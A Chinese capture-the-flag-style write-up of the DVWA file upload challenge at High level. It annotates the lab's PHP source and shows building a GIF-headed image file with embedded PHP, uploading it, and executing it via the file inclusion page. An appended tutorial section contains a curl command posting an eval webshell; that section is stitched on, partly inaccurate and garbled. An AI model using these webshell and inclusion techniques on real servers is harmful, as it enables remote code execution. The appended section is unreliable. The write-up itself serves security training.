DVWA靶场通关笔记-文件上传(High级别)

目录

一、文件上传

二、文件上传之图片马

三、代码审计

1、渗透准备

2、源码分析

(1)index.php

(2)High.php

3、渗透思路

二、渗透实战

1、构造图片马

2、上传图片马

3、获取图片马地址

4、文件包含访问图片马


本系列为通过《DVWA靶场通关笔记》的文件上传关卡(low,medium,high,impossible共4关)渗透集合,通过对相应关卡源码的代码审计找到讲解渗透原理并进行渗透实践,本文为文件上传high级别关卡的渗透部分。

一、文件上传

文件上传是指Web应用程序未对用户上传的文件进行严格验证,导致攻击者可上传恶意文件(如Webshell、木马程序等)到服务器,从而获取系统控制权或执行任意代码,通常出现在应用程序允许用户上传文件的场景中。

二、文件上传之图片马

文件上传图片马是攻击者将恶意 PHP 代码嵌入图片文件,绕过文件上传安全限制的攻击手段。攻击者利用图片文件可上传的特性,将如<?php phpinfo();?>等可执行代码写入图片二进制数据中,生成看似正常的图片(如.jpg.png格式) 。

三、代码审计

1、渗透准备

配置security为高等High级别,具体如下图红框所示。

进入到文件包含关卡High页面,完整URL地址具体如下所示。

http://127.0.0.1/DVWA/vulnerabilities/upload/ 

2、源码分析

(1)index.php

进入DVWA靶场源目录,找到High.php源码。

这段代码实现了 DVWA (Damn Vulnerable Web Application) 中的文件上传安全风险演示页面,主要功能包括如下处理流程。

  • 安全级别控制:根据用户 Cookie 中的security (低、中、高、不可能),加载不同安全级别的处理逻辑
  • 环境检查:验证上传目录是否可写以及 PHP-GD 扩展是否安装
  • 表单展示:显示文件上传表单,允许用户上传文件
  • 辅助功能:提供安全文档链接,帮助用户理解文件上传安全风险的原理

经过注释后的详细代码如下所示。

<?php

// 定义网站根目录的相对路径
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 包含 DVWA 的页面初始化文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 初始化页面,确保用户已认证,并加载 PHPIDS(PHP入侵检测系统)
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 获取页面信息
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ]   = 'Vulnerability: File Upload' . $page[ 'title_separator' ].$page[ 'title' ];
// 设置页面 ID
$page[ 'page_id' ] = 'upload';
// 设置帮助按钮和源代码按钮
$page[ 'help_button' ]   = 'upload';
$page[ 'source_button' ] = 'upload';

// 连接数据库
dvwaDatabaseConnect();

// 根据安全级别选择对应的文件
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		$vulnerabilityFile = 'low.php'; // 低安全级别
		break;
	case 'medium':
		$vulnerabilityFile = 'medium.php'; // 中安全级别
		break;
	case 'high':
		$vulnerabilityFile = 'high.php'; // 高安全级别
		break;
	default:
		$vulnerabilityFile = 'impossible.php'; // 最高安全级别
		break;
}

// 包含对应的文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/upload/source/{$vulnerabilityFile}";

// 检查上传目录是否可写
$WarningHtml = '';
if( !is_writable( $PHPUploadPath ) ) {
	$WarningHtml .= "<div class=\"warning\">Incorrect folder permissions: {$PHPUploadPath}<br /><em>Folder is not writable.</em></div>";
}
// 检查是否安装了 PHP-GD 模块
if( ( !extension_loaded( 'gd' ) || !function_exists( 'gd_info' ) ) ) {
	$WarningHtml .= "<div class=\"warning\">The PHP module <em>GD is not installed</em>.</div>";
}

// 构建页面内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: File Upload</h1>

	{$WarningHtml} // 显示警告信息

	<div class=\"vulnerable_code_area\">
		<form enctype=\"multipart/form-data\" action=\"#\" method=\"POST\"> // 文件上传表单
			<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\" /> // 限制上传文件大小
			Choose an image to upload:<br /><br />
			<input name=\"uploaded\" type=\"file\" /><br /> // 文件选择框
			<br />
			<input type=\"submit\" name=\"Upload\" value=\"Upload\" />\n";

// 如果是最高安全级别,添加 CSRF 令牌字段
if( $vulnerabilityFile == 'impossible.php' )
	$page[ 'body' ] .= "			" . tokenField();

$page[ 'body' ] .= "
		</form>
		{$html} // 显示上传结果或其他信息
	</div>

	<h2>More Information</h2> // 提供更多关于文件上传安全风险的信息
	<ul>
		<li>" . dvwaExternalLinkUrlGet( '<url id="d0g9jpaej2dnt3123or0" type="url" status="parsed" title="Unrestricted File Upload | OWASP Foundation" wc="24644">https://www.owasp.org/index.php/Unrestricted_File_Upload</url> ' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( '<url id="d0g9jpaej2dnt3123org" type="url" status="parsed" title="Fortra's Beyond Security" wc="1516">https://blogs.securiteam.com/index.php/archives/1268</url> ' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( '<url id="d0g9jpaej2dnt3123os0" type="url" status="parsed" title="File Upload Bypass: Upload Forms Threat Explained" wc="13700">https://www.acunetix.com/websitesecurity/upload-forms-threat/</url> ' ) . "</li>
	</ul>
</div>";

// 输出页面内容
dvwaHtmlEcho( $page );

?>

(2)High.php

进入DVWA靶场源目录,找到high.php源码,如下图所示。

打开源码high.php,分析可知这段代码实现了一个不安全的文件上传安全风险,参数为POST型参数,通过使用白名单后缀以及图片处理函数getimagesize来检查脚本内容的合法性,具体如下所示。

这段代码实现了一个基本的文件上传功能,具体如下所示。

  • 路径构建
    • 将上传文件存储到 hackable/uploads/ 目录。
    • 使用 basename 函数过滤文件名,防止目录遍历攻击。
  • 文件验证
    • 扩展名验证:检查文件扩展名是否为 jpgjpeg  png。
    • 大小验证:检查文件大小是否小于 100KB。
    • 内容验证:使用 getimagesize() 函数检查文件是否为有效图片。
  • 文件处理
    • 如果验证通过,使用 move_uploaded_file 将临时文件移动到目标目录。
    • 根据处理结果输出成功或失败信息。

根据源码分析可知,我们可以通过图片马来绕过扩展名和内容验证,再结合文件包含安全风险上传来进行渗透。代码注释如下所示。

<?php

// 检查用户是否提交了上传表单
if( isset( $_POST[ 'Upload' ] ) ) {
    // 构建上传文件的目标路径
    // DVWA_WEB_PAGE_TO_ROOT 是网站根目录常量
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 使用 basename 函数确保文件名不包含路径信息,防止目录遍历攻击
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件的相关信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];  // 原始文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);  // 获取文件扩展名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];  // 文件大小(字节)
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];  // 临时文件路径

    // 验证文件类型、大小和内容
    // 检查扩展名是否为 jpg、jpeg 或 png
    // 检查文件大小是否小于 100KB
    // 使用 getimagesize 函数验证文件是否为有效图片(检查图片头部信息)
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 尝试将临时上传文件移动到目标路径
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // 移动失败,输出错误信息
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 移动成功,输出成功信息(包含完整上传路径)
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // 文件类型、大小或内容不符合要求,输出错误信息
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

3、渗透思路

虽然代码尝试进行了安全验证,但存在以下安全风险。

  • 图片文件内容注入
    • 问题getimagesize 仅验证图片头部,允许文件包含额外内容。

    • 风险:攻击者可在图片文件末尾添加 PHP 代码。
    • 示例,构造攻击图片马test.jpg,内容如下所示。
GIF89a;  // 合法GIF头部
<?php phpinfo();?>  // 隐藏在图片后的PHP代码

二、渗透实战

1、构造图片马

构造文件上传的脚本test.jpg,内容为获取服务器的php版本信息,脚本code内容如下所示。

GIF89a;
<?php phpinfo();?>  

2、上传图片马

进入DVWA靶场的文件上传关卡high级别,选择图片马test.jpg,点击上传如下所示。

3、获取图片马地址

此时在页面显示上传已经成功。上传后路径如下所示,相对于当前路径/dvwa/vulnerabilities/upload/,图片马被上传至../../hackable/uploads/test.jpg路径下,故而这个webshell的路径如下所示。

http://127.0.0.1/dvwa/hackable/uploads/test.jpg

4、文件包含访问图片马

DVWA靶场中文件包含关卡的首页URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php

图片马的脚本完整的渗透URL地址如下所示。

http://127.0.0.1/dvwa/hackable/uploads/test.jpg

文件包含访问图片马的完整URL渗透地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=Http://127.0.0.1/dvwa/hackable/uploads/test.jpg

由于DVWA靶场文件上传安全风险的high级别做了较高的限制,故而将security设置为low,如下所示。

在浏览器地址栏输入渗透URL地址,如下所示获取服务器的php信息,渗透成功。 

### DVWA 文件上传功能详细教程 #### 了解文件上传漏洞原理 文件上传漏洞允许攻击者向服务器上传恶意文件,通常是一句话木。一旦成功上传并执行这些文件,攻击者就能获得对网站目录甚至整个系统的控制权限[^2]。 #### 准备工作 为了进行DVWA中的文件上传实验,需先完成如下准备工作: - **安装配置DVWA环境**:按照相关指南,在Windows环境下使用phpStudy搭建DVWA站点[^4]。 - **启动Kali Linux平台**:作为渗透测试的操作系统,确保已正确安装并能正常运行。 - **设置Burp Suite代理**:用于拦截和修改HTTP请求数据包,以便于分析和操控文件上传过程[^3]。 #### 开始文件上传挑战 进入DVWA主页后选择`File Upload`选项卡开始练习: 1. 页面显示了一个简单的表单,其中包含两个输入框——一个是供用户选择要上传的文件;另一个则是指定目标存储位置(此字段可能被隐藏或禁用)。 2. 默认情况下,该模块的安全级别设为低级(low),这意味着几乎没有任何防护措施阻止非法文件类型的提交。 3. 尝试上传一个普通的图片文件(如.jpg),观察其行为表现,并注意查看返回的消息提示以及确认文件确实保存到了预期路径下。 #### 提升难度至中级(medium) 当把安全等级调整到medium时,程序会对所选文件进行了初步验证,只接受特定扩展名结尾的照片类文档(.jpg,.png等)。此时可尝试以下方法绕过检测机制: - 更改待传对象的真实MIME类型; - 修改客户端脚本逻辑以欺骗服务端判断依据; 值得注意的是上述两种方式均违反道德准则和技术伦理,请仅限学习研究目的内实践! #### 高级(high)模式下的对抗技巧 在最高级别的保护状态下,除了延续之前的过滤规则外还增加了基于内容特征码黑名单匹配算法。面对这种情况建议采用更隐蔽的技术手段比如但不限于: - 利用PHP特性构造特殊格式的一句话WebShell; - 结合其他漏洞组合拳出击实现最终突破效果; 不过出于合法合规考虑这里不再展开具体细节描述。 ```bash # 使用curl命令模拟POST请求发送带payload的数据流给远程web应用接口 $ curl -F "uploaded=<;php eval($_POST['cmd']);?>" http://target.com/dvwa/hackable/uploads/ ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值